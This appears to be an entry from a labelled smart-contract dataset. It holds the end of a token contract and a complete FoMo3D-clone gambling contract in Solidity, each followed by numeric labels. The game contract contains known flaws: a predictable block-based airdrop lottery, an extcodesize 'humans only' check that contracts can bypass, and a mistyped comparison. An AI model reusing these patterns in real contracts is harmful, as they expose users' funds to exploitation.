owner; } function getVault() public view onlyAdminOrOwnerOrVault returns (address) { return vault; } function getAdmin() public view onlyAdminOrOwnerOrVault returns (address) { return admin; } function getOnePlayCoin() public view returns (uint) { return (10 ** uint(decimals)); } function getMaxNumberOfTokens() public view returns (uint) { return noOfTokens; } function reserveOf(address _address) public view returns (uint _reserve) { return reserves[_address]; } function reserve() public view returns (uint _reserve) { return reserves[msg.sender]; } }
1
4,146
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149); address private admin = msg.sender; string constant public name = "f3dplus"; string constant public symbol = "f3dplus"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
1,879
